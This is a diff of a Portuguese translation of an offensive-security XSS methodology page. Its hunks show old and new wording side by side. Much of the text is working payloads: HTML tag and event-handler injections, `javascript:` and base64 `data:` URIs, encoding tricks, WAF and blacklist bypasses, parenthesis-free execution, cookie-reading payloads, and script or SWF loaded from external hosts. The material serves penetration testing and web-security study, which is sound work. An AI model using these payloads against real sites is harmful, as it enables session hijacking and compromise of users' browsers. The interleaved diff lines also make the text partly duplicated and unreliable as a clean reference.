+1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
+1. Em **HTML bruto**:
+1. Você pode criar novas tags HTML?
+2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
+3. Você pode contornar proteções?
+4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md).
+5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/).
+2. Dentro de uma **tag HTML**:
+1. Você pode sair para o contexto de HTML bruto?
+2. Você pode criar novos eventos/atributos para executar código JS?
+3. O atributo onde você está preso suporta a execução de JS?
+4. Você pode contornar proteções?
+3. Dentro do código **JavaScript**:
+1. Você pode escapar da tag `<script>`?
+2. Você pode escapar da string e executar código JS diferente?
+3. Seus inputs estão em literais de modelo \`\`?
+4. Você pode contornar proteções?
+4. Função **JavaScript** sendo **executada**
+1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
+4. Se **usado**:
+1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.

 Ao trabalhar em um XSS complexo, pode ser interessante saber sobre:

@ -53,47 +53,43 @@ Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde se

 ### HTML Bruto

-Se seu input está **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
+Se seu input é **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
 Além disso, tenha em mente a [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md).

 ### Dentro do atributo das tags HTML

-Se seu input está refletido dentro do valor do atributo de uma tag, você poderia tentar:
+Se seu input é refletido dentro do valor do atributo de uma tag, você poderia tentar:

 1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
-2. Se você **puder escapar do atributo mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
-3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
-4. Se seu input está refletido dentro de "**tags inexploráveis**" você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
+2. Se você **puder escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
+3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+4. Se seu input é refletido dentro de "**tags inexploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**

 Exemplo estranho de Angular executando XSS se você controla um nome de classe:
-
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-
 ### Dentro do código JavaScript

 Neste caso, a sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:

-* Se refletido entre as tags **`<script> [...] </script>`**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
-* Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
-  * `'-alert(1)-'`
-  * `';-alert(1)//`
-  * `\';alert(1)//`
-* Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-* A **codificação Unicode** funciona para escrever **código JavaScript válido**:
-
+- Se for refletido entre as tags **`<script> [...] </script>`**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que a sua tag `</script>` injetada está dentro do código HTML.
+- Se for refletido **dentro de uma string JS** e o último truque não funcionar, você precisará **sair** da string, **executar** o seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
+  - `'-alert(1)-'`
+  - `';-alert(1)//`
+  - `\';alert(1)//`
+- Se for refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- A **codificação Unicode** funciona para escrever **código JavaScript válido**:
 ```javascript
 \u{61}lert(1)
 \u0061lert(1)
 \u{0061}lert(1)
 ```
-
 #### Elevação de Javascript

-A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
+A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
 **Confira a página a seguir para mais informações:**

 {% content-ref url="js-hoisting.md" %}
@ -106,16 +102,15 @@ Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da f

 Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como:

-![](<../../.gitbook/assets/image (651) (2).png>)
+![](<../../.gitbook/assets/image (708).png>)

 Caso seja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).

 No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:

-![](<../../.gitbook/assets/image (662).png>)
+![](<../../.gitbook/assets/image (744).png>)

 Algumas funções úteis para isso:
-
 ```
 firstElementChild
 lastElementChild
@ -123,12 +118,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-
 Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.

 No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.

-Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método na Mesma Origem (SOME)**:
+Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método de Mesma Origem (SOME)**:

 {% content-ref url="some-same-origin-method-execution.md" %}
 [some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -157,41 +151,36 @@ Alguns **exemplos**:

 ## Bypass de WAF codificando imagem

-![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
+![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)

-## Inserindo dentro de HTML bruto
+## Injetando dentro de HTML bruto

-Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\
+Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\
 Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
-_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_
+_**Nota: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_

 Neste caso, e se não houver uso de listas negras/listas brancas, você poderia usar payloads como:
-
 ```html
 <script>alert(1)</script>
 <img src=x onerror=alert(1) />
 <svg onload=alert('XSS')>
 ```
+Mas, se estiver sendo utilizado o bloqueio/liberação de tags/atributos, você precisará **forçar a barra para descobrir quais tags** pode criar.\
+Depois de **localizar quais tags são permitidas**, será necessário **forçar a barra nos atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.

-Mas, se estiver sendo utilizado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a entrada de quais tags** você pode criar.\
-Depois de **localizar quais tags são permitidas**, será necessário **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como você pode atacar o contexto.
+### Forçar a barra em Tags/Eventos

-### Forçar entrada de Tags/Eventos
+Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a barra em todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).

-Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
-
-### Tags personalizadas
-
-Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
+### Tags Personalizadas

+Se não encontrar nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
-
 ### Contornos da Lista Negra

 Se algum tipo de lista negra estiver sendo usada, você pode tentar contorná-la com alguns truques bobos:
-
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@ -241,20 +230,17 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-
 ### Bypass de comprimento (pequenos XSSs)

 {% hint style="info" %}
 **Mais XSS pequenos para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
 {% endhint %}
-
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``>
 <script src=//aa.es>
 <script src=//℡㏛.pw>
 ```
-
 O último usa 2 caracteres unicode que se expandem para 5: telsr\
 Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
 Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
@ -273,14 +259,11 @@ Se você acha que **é impossível criar uma tag HTML com um atributo para execu

 Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
 Se você **não pode escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo usando algum payload como (_observe que neste exemplo as aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
-
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
-
 **Eventos de estilo**
-
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
@ -290,18 +273,16 @@ Se você **não pode escapar da tag**, você pode criar novos atributos dentro d
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-
 ### Dentro do atributo

-Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
+Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
 Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**

 **Bypass dentro do evento usando codificação HTML/codificação de URL**

 Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Voltar </a>`

-Observe que **qualquer tipo de codificação HTML é válida**:
-
+Note que **qualquer tipo de codificação HTML é válida**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@ -318,25 +299,19 @@ Observe que **qualquer tipo de codificação HTML é válida**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-
 **Note que a codificação de URL também funcionará:**
-
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-
 **Bypass dentro do evento usando codificação Unicode**
-
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-
 ### Protocolos Especiais Dentro do Atributo

 Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
-
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@ -356,11 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-
 **Locais onde você pode injetar esses protocolos**

 **Em geral**, o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img`)
-
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -380,29 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-
 **Outros truques de ofuscação**

 _**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
-
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-
 Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspas simples** e perceber que **ela está sendo codificada em URL**, lembre-se de que **não importa**, ela será **interpretada** como uma **aspas simples** durante o **tempo de execução**.
-
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-
 Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não funcionará**, mas você pode **misturá-los dentro do payload**.

 **Usando codificação Hex e Octal com `javascript:`**

 Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**:
-
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@ -414,26 +381,22 @@ Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-
 ### Reverse tab nabbing

 ### Roubo de guia reverso
-
 ```javascript
 <a target="_blank" rel="opener"
 ```
-
-Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
+Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"`** e **`rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:

 {% content-ref url="../reverse-tab-nabbing.md" %}
 [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
 {% endcontent-ref %}

-### Bypass em Manipuladores de Eventos
+### Bypass nos Manipuladores de Eventos

 Primeiramente, verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obter **"on" event handlers** úteis.\
 Caso haja alguma lista negra impedindo a criação desses manipuladores de eventos, você pode tentar os seguintes bypasses:
-
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@ -448,18 +411,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-
 ### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta)

 De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
-
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
 ```
-
 E em **meta tags**:
-
 ```html
 <!-- Injection inside meta attribute-->
 <meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -467,24 +426,21 @@ E em **meta tags**:
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-
 A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de tecla de acesso. Aqui está o vetor:
-
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-
 **A carga XSS será algo assim: `" accesskey="x" onclick="alert(1)" x="`**

 ### Contornos da Lista Negra

 Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:

-* Codificação HTML (tags HTML)
-* Codificação Unicode (pode ser código JS válido): `\u0061lert(1)`
-* Codificação de URL
-* Codificação Hexadecimal e Octal
-* Codificação de dados
+- Codificação HTML (tags HTML)
+- Codificação Unicode (pode ser código JS válido): `\u0061lert(1)`
+- Codificação de URL
+- Codificação Hexadecimal e Octal
+- Codificação de dados

 **Contornos para tags e atributos HTML**

@ -494,7 +450,7 @@ Leia os [Contornos da Lista Negra da seção anterior](./#blacklist-bypasses).

 Leia os [Contornos da Lista Negra de JavaScript da próxima seção](./#javascript-bypass-blacklists-techniques).

-### Gadgets CSS
+### Gadgets de CSS

 Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de o link ser acionado.

@ -521,30 +477,25 @@ Neste caso, sua **entrada** será **refletida dentro do código JS** de um arqui
 ### Escapando a tag \<script>

 Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>`, você pode facilmente **escapar fechando a tag `<script>`**:
-
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-
 Note que neste exemplo **nem mesmo fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.

 ### Dentro do código JS

 Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado:
-
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-
 ### Literais de modelo \`\`

 Para construir **strings** além de aspas simples e duplas, o JS também aceita **acento grave** **` `` `**. Isso é conhecido como literais de modelo, pois permitem **incorporar expressões JS** usando a sintaxe `${ ... }`.\
 Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando acentos graves, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:

 Isso pode ser **abusado** usando:
-
 ```javascript
 `${alert(1)}`
 `${`${`${`${alert(1)}`}`}`}`
@ -555,28 +506,22 @@ Isso pode ser **abusado** usando:
 function loop(){return loop}
 loop``````````````
 ```````````````
-
 ### Execução de código codificado
-
 ```markup
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
 ```
-
 ### Execução de JS codificado em Unicode
-
 ```javascript
 \u{61}lert(1)
 \u0061lert(1)
 \u{0061}lert(1)
 ```
-
 ### Técnicas de bypass de listas negras de JavaScript

 **Cadeias de caracteres**
-
 ```javascript
 "thisisastring"
 'thisisastrig'
@ -593,9 +538,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-
-**Escapes especiais**
-
+**Escapes Especiais**
 ```javascript
 '\b' //backspace
 '\f' //form feed
@ -609,16 +552,12 @@ eval(8680439..toString(30))(983801..toString(36))
 '\t' //tab
 // Any other char escaped is just itself
 ```
-
 **Substituições de espaços dentro do código JS**
-
 ```javascript
 <TAB>
 /**/
 ```
-
 **Comentários em JavaScript (do truque de** [**Comentários em JavaScript**](./#javascript-comments)**)**
-
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@ -626,9 +565,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-
 **Quebra de linha em JavaScript (do truque de** [**quebra de linha em JavaScript**](./#javascript-new-lines)**)**
-
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -636,9 +573,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
 String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
 String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
 ```
-
 **Espaços em branco do JavaScript**
-
 ```javascript
 log=[];
 function funct(){}
@ -655,18 +590,14 @@ console.log(log)
 //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
 <img/src/onerror=alert&#65279;(1)>
 ```
-
 **Javascript dentro de um comentário**
-
 ```javascript
 //If you can only inject inside a JS comment, you can still leak something
 //If the user opens DevTools request to the indicated sourceMappingURL will be send

 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
-
 **JavaScript sem parênteses**
-
 ````javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
@ -741,12 +672,10 @@ try{throw onerror=alert}catch{throw 1}
 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
 // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
 ````
-
 * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)

 **Chamada de função arbitrária (alerta)**
-
 ````javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@ -806,7 +735,6 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ````
-
 ## **Vulnerabilidades DOM**

 Existe **código JS** que está utilizando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
@ -816,7 +744,7 @@ Existe **código JS** que está utilizando **dados controlados de forma insegura
 [dom-xss.md](dom-xss.md)
 {% endcontent-ref %}

-Lá você encontrará uma **explicação detalhada do que são as vulnerabilidades DOM, como são provocadas e como explorá-las**.\
+Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades DOM, como são provocadas e como explorá-las**.\
 Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).

 ## Outras Formas de Bypass
@ -825,29 +753,22 @@ Além disso, não se esqueça que **no final do post mencionado** você pode enc

 Você pode verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting).

-### Bypass do flag PHP FILTER\_VALIDATE\_EMAIL
-
+### Bypass do filtro PHP FILTER\_VALIDATE\_EMAIL
 ```javascript
 "><svg/onload=confirm(1)>"@x.y
 ```
-
 ### Bypass Ruby-On-Rails

 Devido às **atribuições em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
-Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
-
+Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-
-O par "Chave","Valor" será ecoado de volta assim:
-
+O par "Chave","Valor" será ecoado desta forma:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-
 ### Combinações Especiais
-
 ```markup
 <iframe/src="data:text/html,<svg onload=alert(1)>">
 <input type=image src onerror="prompt(1)">
@ -877,13 +798,12 @@ O par "Chave","Valor" será ecoado de volta assim:
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-
 ### XSS com injeção de cabeçalho em uma resposta 302

 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil.

